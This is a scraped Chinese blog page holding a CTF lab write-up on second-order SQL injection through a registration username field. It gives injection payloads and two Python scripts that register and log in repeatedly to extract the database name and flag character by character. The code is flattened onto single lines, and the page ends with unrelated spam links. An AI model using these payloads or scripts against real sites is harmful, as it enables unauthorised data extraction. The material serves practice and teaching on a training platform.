当前位置: 首页 > news >正文

电脑当服务器做网站餐饮营销策划与运营

电脑当服务器做网站,餐饮营销策划与运营,深圳市官网网站建设报价,页面设计公司会招低学历的人吗使用ctf在线靶场https://adworld.xctf.org.cn/home/index。 进入靶场,发现是一个登录页面。 使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。 访问一下register.php试试,发现是一个注册页面…

使用ctf在线靶场https://adworld.xctf.org.cn/home/index。

进入靶场,发现是一个登录页面。

在这里插入图片描述

使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。

在这里插入图片描述

访问一下register.php试试,发现是一个注册页面。

在这里插入图片描述

在邮箱、用户名、密码分别尝试sql注入。

发现邮箱后面不允许添加符号’等,密码添加’等会被当做字符传入,而在用户名的地方输入’,注册失败,怀疑是在用户名处存在sql注入。

随便注册一个试试。

在这里插入图片描述

登陆进去发现,在页面中存在用户名的显示。

在用户名处输入

dhh ' and '1'='1

注册成功,登陆查看用户名为0。基本确定为二次注入,注入点为用户名处。

在这里插入图片描述

使用burp判断被过滤的字符。初步爆破发现单引号、逗号、information被过滤。那就开始尝试

注册时,让用户名为select database(),尝试一下。

登陆后发现,用户名直接显示为select database()。那么猜测应该是被单引号或者双引号包裹起来,作为字符串了,尝试两种闭合。

在这里插入图片描述

使用1’+2+'1可以注册成功,那就证明单引号没被过滤掉,而且可以看出来后台接收语句应该是select…where username=‘username’。

开始尝试构建payload。

0'+database()+'0     #结果为0

在这里插入图片描述

尝试使用ascii进行转换为10进制尝试,下面是转换database()的第一个字符。

0'+ascii(substr((database()) from 1 for 1))+'0

在这里插入图片描述

查看ascii表,发现119为w,也就是当前数据库第一个字母为w。那证明目前的思路是正确的。

写python脚本进行爆破。

import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dhh{i}@163.com","username": f"0'+ascii(substr((database()) from {i} for 1))+'0;","password": "123"}data_login = {"email": f"dhh{i}@163.com","password": "123"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

额…不知道为什么爆破完库名之后还在输出。

目前为止二次注入的目的完成。

因为我们的目的不是为了拿到flag,所以我就上网查询了一下如何拿flag,并且写成payload

0'+ascii(substr((select * from flag) from 1 for 1))+'0
import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dh{i}@163.com","username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;","password": "1"}data_login = {"email": f"dh{i}@163.com", "password": "1"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

http://www.khdw.cn/news/33600.html

相关文章:

  • 公司注册网址怎么弄江苏网站seo营销模板
  • 网站开发时间安排企业软文怎么写
  • 网站开发工具6seo外链优化策略
  • 百度快照网址武汉seo关键字优化
  • 专业做传奇网站解析网站片区
  • 营销型网站哪家做的好网站建设公司服务
  • 网站建设售前说明书跨境电商有哪些平台
  • 网站上面的内容里面放照片怎么做海南网站建设
  • 做网站收藏的网页最近一周的国内新闻
  • 网站开发论文开题报告范文域名注册服务网站哪个好
  • 公司手机网站建设百度搜索排行seo
  • 纯js做网站餐饮品牌全案策划
  • 桂平市住房和城乡建设局门户网站网站排名优化师
  • 站酷网首页营销网站建设门户
  • 上海哪家做网站好站长工具官网
  • 创办网站要多少钱郑州百度公司地址
  • 做家电维修网站百度股市行情上证指数
  • 个人做民宿需要建立网站吗今天的特大新闻有哪些
  • 网站文章标题西安做推广优化的公司
  • 四川住房和城乡建设部网站官网国外网站推广
  • 北湖区网站建设seo优化培训机构
  • 做名片网站网站怎么接广告
  • 南京网站开发浏览器广告投放
  • 安监网站如何做紧急预案备案怎样做网络推广效果好
  • 市场监督管理局新式制服石家庄百度快速排名优化
  • 郑州网站seo优四川百度推广和seo优化
  • html5做的网站花钱推广的网络平台
  • 网站维护技术网络推广是什么职位
  • 用jsp做留言板网站谷歌浏览器下载安装
  • 文交所网站建设方案站长工具seo综合查询推广